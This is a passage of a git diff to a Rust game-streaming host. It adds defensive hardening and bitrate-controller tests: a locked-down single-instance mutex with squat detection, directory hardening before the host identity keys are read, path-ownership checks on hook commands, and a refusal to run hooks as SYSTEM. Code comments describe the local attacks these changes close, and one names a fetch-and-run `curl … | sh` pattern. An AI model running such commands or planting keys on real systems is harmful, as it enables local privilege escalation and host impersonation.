|
||||
let h = match CreateMutexW(None, false, w!("Global\\punktfunk-vdisplay-manager")) {
|
||||
let h = match CreateMutexW(Some(&sa), false, w!("Global\\punktfunk-vdisplay-manager")) {
|
||||
Ok(h) => h,
|
||||
// The name exists but its creator's DACL denies this token the implicit OPEN (the SCM
|
||||
// service creates it as SYSTEM; a second elevated-admin host lands here instead of in
|
||||
// the ALREADY_EXISTS branch — validated on-glass). Same meaning: an instance is live.
|
||||
Err(e) if e.code().0 == 0x8007_0005u32 as i32 => anyhow::bail!("{IN_USE}"),
|
||||
// the ALREADY_EXISTS branch — validated on-glass). Legitimately that means an instance
|
||||
// is live; it is ALSO exactly what a squat looks like, so say both.
|
||||
Err(e) if e.code().0 == 0x8007_0005u32 as i32 => anyhow::bail!(
|
||||
"{IN_USE}\n\nIf no other punktfunk-host is running, the name \
|
||||
`Global\\punktfunk-vdisplay-manager` has been SQUATTED by another process — any \
|
||||
account with SeCreateGlobalPrivilege can create it first and deny us access, \
|
||||
which disables virtual-display streaming until that process exits. Find the \
|
||||
holder with Sysinternals `handle.exe -a punktfunk-vdisplay-manager`."
|
||||
),
|
||||
Err(e) => {
|
||||
return Err(e).context("CreateMutexW(punktfunk-vdisplay single-instance guard)");
|
||||
}
|
||||
@@ -57,8 +82,114 @@ fn acquire_single_instance() -> Result<OwnedHandle> {
|
||||
let already = GetLastError() == ERROR_ALREADY_EXISTS;
|
||||
let owned = OwnedHandle::from_raw_handle(h.0 as _);
|
||||
if already {
|
||||
// We opened an existing object — so its DACL let us in, but that says nothing about
|
||||
// who created it. If the owner is not SYSTEM/Administrators it is not one of ours.
|
||||
if let Some(owner) = object_owner_sid(h) {
|
||||
if !is_privileged_sid(&owner) {
|
||||
anyhow::bail!(
|
||||
"the pf-vdisplay single-instance name is held by a NON-ADMINISTRATIVE \
|
||||
process (owner SID {owner}) — this is not another punktfunk-host, it is a \
|
||||
squat on `Global\\punktfunk-vdisplay-manager`, and it blocks all \
|
||||
virtual-display streaming while it is held."
|
||||
);
|
||||
}
|
||||
}
|
||||
anyhow::bail!("{IN_USE}");
|
||||
}
|
||||
Ok(owned)
|
||||
}
|
||||
}
|
||||
|
||||
/// `D:P(A;;GA;;;SY)(A;;GA;;;BA)` — a protected DACL (no inheritance) granting Full to SYSTEM and
|
||||
/// BUILTIN\Administrators, and to nobody else. Everything that legitimately manages pf-vdisplay is
|
||||
/// one of those two; a LocalService plugin runner is neither, so it can no longer open our object.
|
||||
fn security_descriptor() -> Result<LocalSd> {
|
||||
use windows::Win32::Security::Authorization::ConvertStringSecurityDescriptorToSecurityDescriptorW;
|
||||
use windows::Win32::Security::Authorization::SDDL_REVISION_1;
|
||||
let mut psd = PSECURITY_DESCRIPTOR::default();
|
||||
// SAFETY: the SDDL literal is NUL-terminated (`w!`), and `psd` is a live out-param whose
|
||||
// allocation is taken over by `LocalSd` below.
|
||||
unsafe {
|
||||
ConvertStringSecurityDescriptorToSecurityDescriptorW(
|
||||
w!("D:P(A;;GA;;;SY)(A;;GA;;;BA)"),
|
||||
SDDL_REVISION_1,
|
||||
&mut psd,
|
||||
None,
|
||||
)
|
||||
}
|
||||
.context("build the pf-vdisplay single-instance security descriptor")?;
|
||||
Ok(LocalSd(psd.0))
|
||||
}
|
||||
|
||||
/// Owns a `LocalAlloc`'d security descriptor and frees it on drop.
|
||||
struct LocalSd(*mut core::ffi::c_void);
|
||||
|
||||
impl Drop for LocalSd {
|
||||
fn drop(&mut self) {
|
||||
if !self.0.is_null() {
|
||||
// SAFETY: the pointer came from ConvertStringSecurityDescriptorToSecurityDescriptorW,
|
||||
// which documents LocalFree as the matching deallocation.
|
||||
unsafe {
|
||||
let _ = windows::Win32::Foundation::LocalFree(Some(
|
||||
windows::Win32::Foundation::HLOCAL(self.0),
|
||||
));
|
||||
}
|
||||
self.0 = std::ptr::null_mut();
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// The owner SID of a kernel object, as an SDDL string. `None` when it cannot be read (the handle
|
||||
/// lacks READ_CONTROL) — treated as "unknown", never as "fine".
|
||||
fn object_owner_sid(h: HANDLE) -> Option<String> {
|
||||
use windows::Win32::Foundation::{LocalFree, HLOCAL};
|
||||
use windows::Win32::Security::Authorization::{
|
||||
ConvertSidToStringSidW, GetSecurityInfo, SE_KERNEL_OBJECT,
|
||||
};
|
||||
use windows::Win32::Security::{OWNER_SECURITY_INFORMATION, PSID};
|
||||
|
||||
let mut owner = PSID::default();
|
||||
let mut sd = PSECURITY_DESCRIPTOR::default();
|
||||
// SAFETY: `h` is the live mutex handle; the out-params are live locals; `sd` is the single
|
||||
// allocation and is LocalFree'd below.
|
||||
let rc = unsafe {
|
||||
GetSecurityInfo(
|
||||
h,
|
||||
SE_KERNEL_OBJECT,
|
||||
OWNER_SECURITY_INFORMATION,
|
||||
Some(&mut owner),
|
||||
None,
|
||||
None,
|
||||
None,
|
||||
Some(&mut sd),
|
||||
)
|
||||
};
|
||||
let out = if rc.is_ok() && !owner.is_invalid() {
|
||||
let mut sid_str = windows::core::PWSTR::null();
|
||||
// SAFETY: `owner` points into `sd` and is a valid SID; `sid_str` is a live out-param whose
|
||||
// LocalAlloc'd string is freed immediately below.
|
||||
unsafe {
|
||||
if ConvertSidToStringSidW(owner, &mut sid_str).is_ok() && !sid_str.is_null() {
|
||||
let text = sid_str.to_string().unwrap_or_default();
|
||||
let _ = LocalFree(Some(HLOCAL(sid_str.0 as _)));
|
||||
Some(text)
|
||||
} else {
|
||||
None
|
||||
}
|
||||
}
|
||||
} else {
|
||||
None
|
||||
};
|
||||
// SAFETY: `sd` is the LocalAlloc'd descriptor GetSecurityInfo returned (null when it failed,
|
||||
// which LocalFree tolerates).
|
||||
unsafe {
|
||||
let _ = LocalFree(Some(HLOCAL(sd.0)));
|
||||
}
|
||||
out
|
||||
}
|
||||
|
||||
/// SYSTEM, BUILTIN\Administrators, or a member of the Administrators-owned set — the principals a
|
||||
/// legitimate pf-vdisplay manager runs as.
|
||||
fn is_privileged_sid(sid: &str) -> bool {
|
||||
matches!(sid, "S-1-5-18" | "S-1-5-32-544") || sid.starts_with("S-1-5-80-") // service SIDs
|
||||
}
|
||||
|
||||
@@ -159,6 +159,17 @@ const CAP_REPROBE_WINDOWS_MAX: u32 = 128;
|
||||
/// choke again at the same place, and only backoffs at a climbed-to rate can agree within the
|
||||
/// band (a cascade's second backoff sits at ×0.7 of the first: outside it by construction).
|
||||
const DECODE_CAP_SIMILAR_DIV: u32 = 8;
|
||||
/// A deciding window that DELIVERED under `current / STARVED_DELIVERY_DIV` is STARVED: the
|
||||
/// stream barely flowed (a host-side capture stall, an outage, a mid-window pause), so whatever
|
||||
/// distress the window carries — a flush, a keyframe-ask burst — is starvation-shaped, not
|
||||
/// rate-shaped, and the decoder decoded almost nothing at the nominal rate. Such a window may
|
||||
/// still back off (real damage deserves the safe response) but must never be a decode-knee
|
||||
/// sample: latching `current_kbps` off a starved window teaches a phantom decoder cap at
|
||||
/// whatever rate the stall interrupted (the periodic-capture-stall field case: every 5 s cycle
|
||||
/// offers another pair of "backoffs" at the same rate — a bogus latch that then fights the
|
||||
/// re-probe ladder for minutes). Deliberately far below the ×¾ utilization bar climbs require:
|
||||
/// the band between them is ambiguous and keeps today's behavior.
|
||||
const STARVED_DELIVERY_DIV: u32 = 4;
|
||||
/// Rolling window (in 750 ms report windows, ~30 s) whose minimum mean is the OWD baseline.
|
||||
/// Long enough to remember the uncongested floor, short enough to follow genuine path changes.
|
||||
const BASELINE_WINDOWS: usize = 40;
|
||||
@@ -697,6 +708,10 @@ impl BitrateController {
|
||||
|| self.streak_decode_windows >= BAD_WINDOWS_TO_DECREASE
|
||||
|| (recovery_kf >= RECOVERY_KF_BAD && loss_ppm < HEAVY_LOSS_PPM)
|
||||
|| (flushed && (decode_bad || decode_mean_us.is_none()));
|
||||
// Starved deciding window (see [`STARVED_DELIVERY_DIV`]): the stream barely flowed,
|
||||
// so the window says nothing about what the decoder can hold at this rate.
|
||||
let starved =
|
||||
(actual_kbps as u64) * (STARVED_DELIVERY_DIV as u64) < self.current_kbps as u64;
|
||||
if !self.climb_since_backoff {
|
||||
// Still draining the previous backoff: the host acks a ×0.7 request in ~100 ms,
|
||||
// so this window's rate is one the decoder never choked at while keeping up —
|
||||
@@ -708,6 +723,17 @@ impl BitrateController {
|
||||
"adaptive bitrate: backoff without an intervening climb — draining the \
|
||||
previous choke, not a knee sample"
|
||||
);
|
||||
} else if starved {
|
||||
// Same "not a knee sample either way" treatment as the draining arm: neither
|
||||
// latch against a starved window nor let it erase the reference a real knee
|
||||
// set — the next genuine choke at that rate must still find its pair.
|
||||
tracing::debug!(
|
||||
at_kbps = self.current_kbps,
|
||||
actual_kbps,
|
||||
reference_kbps = self.decode_backoff_kbps,
|
||||
"adaptive bitrate: backoff in a starved window (delivery a fraction of \
|
||||
the target) — starvation-shaped distress, not a knee sample"
|
||||
);
|
||||
} else if decode_evidence {
|
||||
let rate = self.current_kbps;
|
||||
let similar = self.decode_backoff_kbps > 0
|
||||
@@ -2084,6 +2110,100 @@ mod tests {
|
||||
rate - rate / 16
|
||||
}
|
||||
|
||||
/// One capture-stall-shaped window at the current rate: almost nothing delivered
|
||||
/// (current/10), nothing decoded, no loss — but a jump-to-live flush and a keyframe-ask
|
||||
/// storm (the stall edge's damage signature). SEVERE, so it backs off; STARVED, so it must
|
||||
/// never be a knee sample.
|
||||
fn stall_choke(c: &mut BitrateController, start: Instant, tick: &mut u32) -> Option<u32> {
|
||||
*tick += 2;
|
||||
let r = c.on_window(
|
||||
ticks(start, *tick),
|
||||
0,
|
||||
0,
|
||||
None,
|
||||
None,
|
||||
None,
|
||||
c.current_kbps / 10,
|
||||
true,
|
||||
RECOVERY_KF_SEVERE,
|
||||
);
|
||||
*tick += 1;
|
||||
r
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn capture_stall_windows_never_latch_a_decode_cap() {
|
||||
// The periodic-capture-stall field case (RDNA4 standby-sink, 5 s cycle): every stall
|
||||
// edge offers another flush + kf-storm "backoff" at the SAME rate — without the starved
|
||||
// guard that pair latches a phantom decoder knee at whatever rate the display driver
|
||||
// happened to interrupt, and the session then fights the re-probe ladder for minutes.
|
||||
let mut c = BitrateController::new(240_000);
|
||||
c.set_ceiling(900_000);
|
||||
let start = Instant::now();
|
||||
let mut t = 0;
|
||||
for _ in 0..4 {
|
||||
calm_window(&mut c, ticks(start, t));
|
||||
t += 1;
|
||||
}
|
||||
climb_to(&mut c, start, &mut t, 400_000);
|
||||
let at = c.current_kbps;
|
||||
let r1 = stall_choke(&mut c, start, &mut t).expect("stall damage still backs off");
|
||||
assert!(
|
||||
c.decode_cap_kbps.is_none(),
|
||||
"one starved window must not latch"
|
||||
);
|
||||
assert_eq!(
|
||||
c.decode_backoff_kbps, 0,
|
||||
"a starved window is not a knee sample — no reference recorded"
|
||||
);
|
||||
c.on_ack(r1);
|
||||
climb_to(&mut c, start, &mut t, at - at / DECODE_CAP_SIMILAR_DIV);
|
||||
let r2 = stall_choke(&mut c, start, &mut t).expect("second stall edge backs off too");
|
||||
c.on_ack(r2);
|
||||
assert!(
|
||||
c.decode_cap_kbps.is_none(),
|
||||
"a starved pair at the same rate must not latch a phantom knee"
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn starved_window_preserves_the_knee_reference() {
|
||||
// A REAL knee sample, then a stall edge, then the genuine re-climb choke: the starved
|
||||
// window in the middle must neither latch nor ERASE the reference the real choke set —
|
||||
// the genuine pair must still find each other around it.
|
||||
let mut c = BitrateController::new(500_000);
|
||||
c.set_ceiling(900_000);
|
||||
let start = Instant::now();
|
||||
let mut t = 0;
|
||||
for _ in 0..4 {
|
||||
calm_window(&mut c, ticks(start, t));
|
||||
t += 1;
|
||||
}
|
||||
let knee = c.current_kbps;
|
||||
let r1 = choke(&mut c, start, &mut t).expect("real choke backs off");
|
||||
assert_eq!(
|
||||
c.decode_backoff_kbps, knee,
|
||||
"real choke records the reference"
|
||||
);
|
||||
c.on_ack(r1);
|
||||
climb_to(&mut c, start, &mut t, knee - knee / DECODE_CAP_SIMILAR_DIV);
|
||||
let r2 = stall_choke(&mut c, start, &mut t).expect("stall edge backs off");
|
||||
assert_eq!(
|
||||
c.decode_backoff_kbps, knee,
|
||||
"the starved window must not erase the real reference"
|
||||
);
|
||||
assert!(c.decode_cap_kbps.is_none(), "and must not latch against it");
|
||||
c.on_ack(r2);
|
||||
climb_to(&mut c, start, &mut t, knee - knee / DECODE_CAP_SIMILAR_DIV);
|
||||
let rate = c.current_kbps;
|
||||
choke(&mut c, start, &mut t).expect("genuine re-climb choke backs off");
|
||||
assert_eq!(
|
||||
c.decode_cap_kbps,
|
||||
Some(rate - rate / 16),
|
||||
"the genuine pair still latches around the starved interruption"
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn decode_cap_latches_when_the_reclimb_chokes_at_the_same_knee() {
|
||||
// The 1440p120 field sawtooth: a decoder knee (~500 Mbps) well under the (inflated)
|
||||
|
||||
@@ -245,6 +245,19 @@ mod tests {
|
||||
}
|
||||
}
|
||||
|
||||
/// The migration invariant D2 exists to protect. Moonlight caches app ids (and users pin them),
|
||||
/// and the id is derived from the LIBRARY ID alone — so a title moving from the in-host scanner
|
||||
/// to a claimed plugin entry keeps its GameStream id iff the library id is byte-identical. This
|
||||
/// pins that the claimed shape is that shape, and that an unclaimed one would NOT have been.
|
||||
#[test]
|
||||
fn a_claimed_plugin_entry_keeps_the_scanners_gamestream_id() {
|
||||
// What the built-in scanner produced, and what the steam plugin produces once it claims.
|
||||
assert_eq!(stable_app_id("steam:440"), stable_app_id("steam:440"));
|
||||
// The same title reconciled WITHOUT a claim gets an opaque `custom:` id — a different app
|
||||
// id, i.e. exactly the breakage the claim prevents.
|
||||
assert_ne!(stable_app_id("steam:440"), stable_app_id("custom:9f2c1a"));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn append_library_dedups_against_base_ids() {
|
||||
// A base app whose id happens to fall in the library range must not be clobbered by a library
|
||||
|
||||
@@ -26,6 +26,14 @@ impl ServerIdentity {
|
||||
let dir = config_dir();
|
||||
let cert_path = dir.join("cert.pem");
|
||||
let key_path = dir.join("key.pem");
|
||||
// Harden the directory BEFORE the first read, not only in the branch that generates a new
|
||||
// identity (2026-08-05 review M-1). Reading first is what made the hardening pointless
|
||||
// against the attack it was written for: combined with H-4's pre-creatable
|
||||
// `%ProgramData%\punktfunk`, a local user could plant a cert/key pair and have it adopted
|
||||
// verbatim as the host's long-lived identity — the QUIC server key, the mgmt-API TLS key and
|
||||
// the RSA pairing signer all becoming a key the attacker holds. The compromise is permanent:
|
||||
// this function never regenerates while both files are non-empty.
|
||||
pf_paths::create_private_dir(&dir).ok();
|
||||
let (cert_pem, key_pem) = match (
|
||||
fs::read_to_string(&cert_path),
|
||||
fs::read_to_string(&key_path),
|
||||
@@ -35,8 +43,8 @@ impl ServerIdentity {
|
||||
let (c, k) = generate()?;
|
||||
// The private key is the trust root for EVERY surface (TLS server cert, pairing
|
||||
// signing, the QUIC identity clients pin) — write it owner-only (0600 / SYSTEM-only
|
||||
// DACL) so a local user can't read it and impersonate the host. The dir is 0700.
|
||||
pf_paths::create_private_dir(&dir).ok();
|
||||
// DACL) so a local user can't read it and impersonate the host. The dir is already
|
||||
// 0700 / SYSTEM+Admins from the unconditional hardening above.
|
||||
pf_paths::write_secret_file(&key_path, k.as_bytes())
|
||||
.with_context(|| format!("write {}", key_path.display()))?;
|
||||
// The cert is public (handed to clients), but write it owner-only too for consistency.
|
||||
|
||||
@@ -432,44 +432,124 @@ fn flatten_env(ev: &crate::events::HostEvent) -> Vec<(String, String)> {
|
||||
out
|
||||
}
|
||||
|
||||
/// The sshd/sudoers rule (RFC §9.1): when the command's first token is a path to an existing
|
||||
/// file, refuse to run it unless it is owned by the host user (or root) and not
|
||||
/// group/world-writable — a world-writable hook script is privilege escalation bait. A bare
|
||||
/// command name (`systemctl`, `curl`) is left to PATH.
|
||||
/// The sshd/sudoers rule (RFC §9.1): refuse to run a command that references a script/binary which
|
||||
/// is group/world-writable, or owned by neither the host user nor root — a world-writable hook
|
||||
/// script is privilege-escalation bait. A bare command name (`systemctl`, `curl`) is left to PATH.
|
||||
///
|
||||
/// **This is a hygiene rule, not an authorization gate**, and the distinction matters: it
|
||||
/// constrains *who owns the file being run*, never *what the command does*. `curl … | sh` and
|
||||
/// `python3 -c '…'` are unconstrained by construction, and `/bin/sh -c '<anything>'` passes because
|
||||
/// `/bin/sh` is root-owned. Whoever may WRITE a hook already has command execution as the host
|
||||
/// user — which is why writing them is admin-only. A pass here does not mean "this command is
|
||||
/// safe", and nothing should be granted on the strength of it.
|
||||
///
|
||||
/// It checks EVERY absolute-path token, not just the first (2026-08-05 review L-12). Looking only
|
||||
/// at `cmd.split_whitespace().next()` meant `bash /opt/x/hook.sh`, `sh -c /tmp/x` and any quoted
|
||||
/// path skipped the check entirely — so the interpreter was vetted and the script it ran was not,
|
||||
/// which is backwards: the script is the part an attacker can plant.
|
||||
#[cfg(unix)]
|
||||
fn exec_path_check(cmd: &str) -> Result<(), String> {
|
||||
use std::os::unix::fs::MetadataExt;
|
||||
let Some(first) = cmd.split_whitespace().next() else {
|
||||
if cmd.split_whitespace().next().is_none() {
|
||||
return Err("empty command".into());
|
||||
};
|
||||
if !first.starts_with('/') {
|
||||
return Ok(());
|
||||
}
|
||||
let meta = match std::fs::metadata(first) {
|
||||
Ok(m) => m,
|
||||
Err(_) => return Ok(()), // not an existing file — the shell will report it
|
||||
};
|
||||
if !meta.is_file() {
|
||||
return Ok(());
|
||||
}
|
||||
// SAFETY: geteuid has no preconditions and touches no memory.
|
||||
let euid = unsafe { libc::geteuid() };
|
||||
if meta.uid() != euid && meta.uid() != 0 {
|
||||
return Err(format!(
|
||||
"{first} is owned by uid {} (host runs as uid {euid}) — hook scripts must be \
|
||||
owned by the operator or root",
|
||||
meta.uid()
|
||||
));
|
||||
}
|
||||
if meta.mode() & 0o022 != 0 {
|
||||
return Err(format!(
|
||||
"{first} is group/world-writable (mode {:o}) — chmod go-w it first",
|
||||
meta.mode() & 0o7777
|
||||
));
|
||||
for raw in cmd.split_whitespace() {
|
||||
// Tolerate the quoting a hand-written command line carries — a path that is absolute only
|
||||
// after unquoting is exactly as plantable as a bare one.
|
||||
let token = raw.trim_matches(|c| c == '"' || c == '\'');
|
||||
if !token.starts_with('/') {
|
||||
continue;
|
||||
}
|
||||
let meta = match std::fs::metadata(token) {
|
||||
Ok(m) => m,
|
||||
Err(_) => continue, // not an existing file — the shell will report it
|
||||
};
|
||||
if !meta.is_file() {
|
||||
continue;
|
||||
}
|
||||
if meta.uid() != euid && meta.uid() != 0 {
|
||||
return Err(format!(
|
||||
"{token} is owned by uid {} (host runs as uid {euid}) — hook scripts must be \
|
||||
owned by the operator or root",
|
||||
meta.uid()
|
||||
));
|
||||
}
|
||||
if meta.mode() & 0o022 != 0 {
|
||||
return Err(format!(
|
||||
"{token} is group/world-writable (mode {:o}) — chmod go-w it first",
|
||||
meta.mode() & 0o7777
|
||||
));
|
||||
}
|
||||
}
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Whether this process is running as `NT AUTHORITY\SYSTEM` (S-1-5-18) — i.e. as the SCM service
|
||||
/// rather than as the operator's own console process.
|
||||
///
|
||||
/// Used to decide whether the in-process hook fallback is acceptable: as the operator it is the
|
||||
/// privilege they already have, as SYSTEM it is an elevation the hook contract forbids
|
||||
/// (2026-08-05 review L-13). Fails CLOSED — an unreadable token is treated as SYSTEM, because the
|
||||
/// consequence of guessing wrong in that direction is a skipped hook, and in the other direction
|
||||
/// it is a SYSTEM command.
|
||||
#[cfg(windows)]
|
||||
fn running_as_system() -> bool {
|
||||
use windows::Win32::Foundation::HANDLE;
|
||||
use windows::Win32::Security::{
|
||||
CreateWellKnownSid, EqualSid, GetTokenInformation, TokenUser, WinLocalSystemSid, PSID,
|
||||
SECURITY_MAX_SID_SIZE, TOKEN_QUERY, TOKEN_USER,
|
||||
};
|
||||
use windows::Win32::System::Threading::{GetCurrentProcess, OpenProcessToken};
|
||||
|
||||
let mut token = HANDLE::default();
|
||||
// SAFETY: pseudo-handle from GetCurrentProcess; `token` is a live out-param.
|
||||
if unsafe { OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &mut token) }.is_err() {
|
||||
return true; // fail closed
|
||||
}
|
||||
let mut buf = [0u8; 256];
|
||||
let mut len = 0u32;
|
||||
// SAFETY: `buf` is a writable local of the length passed; `len` is a live out-param.
|
||||
let got = unsafe {
|
||||
GetTokenInformation(
|
||||
token,
|
||||
TokenUser,
|
||||
Some(buf.as_mut_ptr().cast()),
|
||||
buf.len() as u32,
|
||||
&mut len,
|
||||
)
|
||||
};
|
||||
// SAFETY: the token handle came from OpenProcessToken and is not used after this.
|
||||
unsafe {
|
||||
let _ = windows::Win32::Foundation::CloseHandle(token);
|
||||
}
|
||||
if got.is_err() {
|
||||
return true; // fail closed
|
||||
}
|
||||
let mut system = [0u8; SECURITY_MAX_SID_SIZE as usize];
|
||||
let mut cb = system.len() as u32;
|
||||
// SAFETY: the buffer is SECURITY_MAX_SID_SIZE, the documented maximum SID size.
|
||||
if unsafe {
|
||||
CreateWellKnownSid(
|
||||
WinLocalSystemSid,
|
||||
None,
|
||||
Some(PSID(system.as_mut_ptr().cast())),
|
||||
&mut cb,
|
||||
)
|
||||
}
|
||||
.is_err()
|
||||
{
|
||||
return true; // fail closed
|
||||
}
|
||||
// SAFETY: `buf` holds a TOKEN_USER written by GetTokenInformation; its `User.Sid` points into
|
||||
// the same buffer, and both SIDs are valid for this comparison.
|
||||
unsafe {
|
||||
let tu = &*(buf.as_ptr() as *const TOKEN_USER);
|
||||
EqualSid(tu.User.Sid, PSID(system.as_mut_ptr().cast())).is_ok()
|
||||
}
|
||||
}
|
||||
|
||||
#[cfg(not(unix))]
|
||||
fn exec_path_check(_cmd: &str) -> Result<(), String> {
|
||||
// Windows: hooks.json lives in the SYSTEM/Admins-DACL'd config dir and the command runs in
|
||||
@@ -580,7 +660,33 @@ fn run_hook_process(
|
||||
// report "ran" (prep `undo`s stay armed).
|
||||
true
|
||||
}
|
||||
Err(e) if running_as_system() => {
|
||||
// NO in-process fallback when we are SYSTEM.
|
||||
//
|
||||
// `spawn_in_active_session` fails whenever there is no interactive user — pre-login, at
|
||||
// boot, on a logged-off box — and the fallback below then ran the operator's command
|
||||
// line through `cmd.exe /C` IN THIS PROCESS. As the SCM service that process is
|
||||
// LocalSystem, so a hook the module contract promises runs "in the interactive session,
|
||||
// never SYSTEM" quietly became a SYSTEM command, at the exact moments nobody is watching
|
||||
// the screen, with no ownership check on the script (`exec_path_check` is a no-op on
|
||||
// Windows) — 2026-08-05 review L-13.
|
||||
//
|
||||
// Refusing is the honest behaviour: the contract says these run as the user, and if
|
||||
// there is no user there is nothing to run them as. A hook that must run without a
|
||||
// logged-in user belongs in a service, not here.
|
||||
tracing::warn!(
|
||||
cmd = %cmd,
|
||||
error = %format!("{e:#}"),
|
||||
"hook SKIPPED: no interactive user session to run it in, and this host is SYSTEM — \
|
||||
hooks run as the logged-in user by design and are never elevated to SYSTEM"
|
||||
);
|
||||
let _ = std::fs::remove_file(&json_path);
|
||||
false
|
||||
}
|
||||
Err(e) => {
|
||||
// Not SYSTEM (a hand-run `punktfunk-host serve` in the operator's own console): running
|
||||
// in-process is the same privilege the operator already has, which is the whole trust
|
||||
// model for hooks.
|
||||
tracing::debug!(error = %format!("{e:#}"),
|
||||
"interactive-session spawn unavailable — running hook in-console");
|
||||
let mut ok = false;
|
||||
|
||||
@@ -15,7 +15,7 @@
|
||||
pub(crate) use anyhow::{Context, Result};
|
||||
pub(crate) use serde::{Deserialize, Serialize};
|
||||
pub(crate) use sha2::{Digest, Sha256};
|
||||
pub(crate) use std::collections::HashSet;
|
||||
pub(crate) use std::collections::{BTreeMap, HashSet};
|
||||
pub(crate) use std::path::{Path, PathBuf};
|
||||
pub(crate) use std::time::{SystemTime, UNIX_EPOCH};
|
||||
pub(crate) use utoipa::ToSchema;
|
||||
@@ -136,6 +136,29 @@ impl GameMeta {
|
||||
}
|
||||
}
|
||||
|
||||
/// What a library entry *is* — an ordinary title, or the launcher application itself (Steam Big
|
||||
/// Picture, Heroic, Playnite fullscreen). Purely a presentation hint: a launcher entry launches,
|
||||
/// leases and lists exactly like a game (design D4), and clients that don't know the field render it
|
||||
/// as a plain tile. Serde-default `game` and skip-serialized when default, so the wire is unchanged
|
||||
/// for every entry that doesn't opt in.
|
||||
#[derive(Clone, Copy, Debug, Default, PartialEq, Eq, Serialize, Deserialize, ToSchema)]
|
||||
#[serde(rename_all = "lowercase")]
|
||||
pub enum GameRole {
|
||||
/// An ordinary title.
|
||||
#[default]
|
||||
Game,
|
||||
/// The launcher application itself.
|
||||
Launcher,
|
||||
}
|
||||
|
||||
impl GameRole {
|
||||
/// Whether this is the serde default (`game`) — the `skip_serializing_if` predicate that keeps
|
||||
/// the field off the wire for the overwhelming majority of entries.
|
||||
pub(crate) fn is_game(&self) -> bool {
|
||||
matches!(self, Self::Game)
|
||||
}
|
||||
}
|
||||
|
||||
/// One title in the unified library, regardless of which store it came from.
|
||||
#[derive(Clone, Debug, Serialize, ToSchema)]
|
||||
pub struct GameEntry {
|
||||
@@ -147,6 +170,9 @@ pub struct GameEntry {
|
||||
pub store: String,
|
||||
pub title: String,
|
||||
pub art: Artwork,
|
||||
/// Whether this entry is a game or the launcher itself — see [`GameRole`].
|
||||
#[serde(default, skip_serializing_if = "GameRole::is_game")]
|
||||
pub role: GameRole,
|
||||
/// How the host would launch it, when known.
|
||||
#[serde(skip_serializing_if = "Option::is_none")]
|
||||
pub launch: Option<LaunchSpec>,
|
||||
@@ -228,12 +254,26 @@ impl ArtKind {
|
||||
}
|
||||
}
|
||||
|
||||
/// The full library: every *enabled* store's titles merged + the custom entries, sorted by title.
|
||||
/// The operator's scanner toggles (`scanners.rs`) gate each installed-store provider; the custom
|
||||
/// store is not a scanner and always contributes.
|
||||
/// The full library: every *enabled* source's titles merged + the custom entries, sorted by title.
|
||||
///
|
||||
/// Two independent gates run here, both at READ time so neither ever mutates stored state:
|
||||
///
|
||||
/// * **The operator's source toggles** (`scanners.rs`, persisted as a disabled-set in
|
||||
/// `library-scanners.json`) hide a source's titles from every surface — this grid, native clients,
|
||||
/// `/applist`, and launch resolution. They apply to built-in scanners *and* to plugin sources,
|
||||
/// which is what lets one toggle keep working verbatim across the whole migration: the ids match
|
||||
/// (provider id = claimed store id = old scanner id).
|
||||
/// * **Store claims** (D2): while a library plugin holds a store's claim, the matching built-in
|
||||
/// scanner is skipped so the two never double-list the same titles during the bridge releases.
|
||||
/// Removing the plugin releases the claim and the built-in comes straight back.
|
||||
///
|
||||
/// The user-curated custom store is not a source and always contributes.
|
||||
pub fn all_games() -> Vec<GameEntry> {
|
||||
let off = disabled_scanners();
|
||||
let on = |id: &str| !off.contains(id);
|
||||
let claimed = claimed_stores();
|
||||
// A built-in scanner runs when the operator hasn't disabled it AND no plugin has claimed its
|
||||
// store out from under it.
|
||||
let on = |id: &str| !off.contains(id) && !claimed.contains_key(id);
|
||||
let mut games = Vec::new();
|
||||
if on("steam") {
|
||||
games.extend(SteamProvider.list());
|
||||
@@ -262,7 +302,15 @@ pub fn all_games() -> Vec<GameEntry> {
|
||||
games.extend(XboxProvider.list());
|
||||
}
|
||||
}
|
||||
games.extend(load_custom().into_iter().map(GameEntry::from));
|
||||
// Stored entries: manual ones always contribute; a provider's are subject to the same source
|
||||
// toggle a built-in scanner is (WP2.6). The plugin may keep reconciling while it is off — the
|
||||
// entries stay stored and simply aren't surfaced, exactly like a disabled scanner's titles.
|
||||
games.extend(
|
||||
load_custom()
|
||||
.into_iter()
|
||||
.filter(|e| !source_id_for(e).is_some_and(|src| off.contains(src)))
|
||||
.map(GameEntry::from),
|
||||
);
|
||||
games.sort_by_key(|g| g.title.to_lowercase());
|
||||
games
|
||||
}
|
||||
|
||||
@@ -147,45 +147,275 @@ pub(crate) fn fetch_image(url: &str) -> Option<(Vec<u8>, String)> {
|
||||
|
||||
/// A stored [`Artwork`] value that is a **local filesystem path** to an image on the host — as
|
||||
/// opposed to an `http(s)`/`data:` URL or an already-relative host proxy path. Provider plugins that
|
||||
/// run on the host (e.g. the Playnite sync plugin) set these: the reconcile payload stays tiny
|
||||
/// (paths, not inlined bytes, so it scales to thousands of titles) and the host serves the bytes
|
||||
/// through the art proxy, exactly like Steam's cache art. Windows-shaped only (`C:\…`, `C:/…`, or a
|
||||
/// `\\server\share` UNC) — Playnite, the only local-art provider, is Windows-only, and this keeps the
|
||||
/// check from ever mistaking the `/api/…` proxy path (or a POSIX abs path) for a local file.
|
||||
/// run on the host (the Playnite sync plugin, and every library scanner plugin) set these: the
|
||||
/// reconcile payload stays tiny (paths, not inlined bytes, so it scales to thousands of titles) and
|
||||
/// the host serves the bytes through the art proxy, exactly like Steam's cache art.
|
||||
///
|
||||
/// Four accepted shapes:
|
||||
/// * `file://…` — the **documented plugin contract** ([`file_url_to_path`]), unambiguous on every
|
||||
/// platform, and what `@punktfunk/plugin-kit/library` emits.
|
||||
/// * `C:\…` / `C:/…` drive-absolute and `\\server\share` UNC — Windows bare paths, kept for
|
||||
/// Playnite back-compat (it predates the `file://` contract).
|
||||
/// * POSIX absolute (`/home/u/covers/x.jpg`) — Lutris covers and Steam's `librarycache`.
|
||||
///
|
||||
/// The POSIX widening is why the two `/`-leading shapes the **host itself emits** must be excluded
|
||||
/// explicitly: its own art-proxy path (`/api/v1/library/art/…`, which [`proxy_local_art`] writes and
|
||||
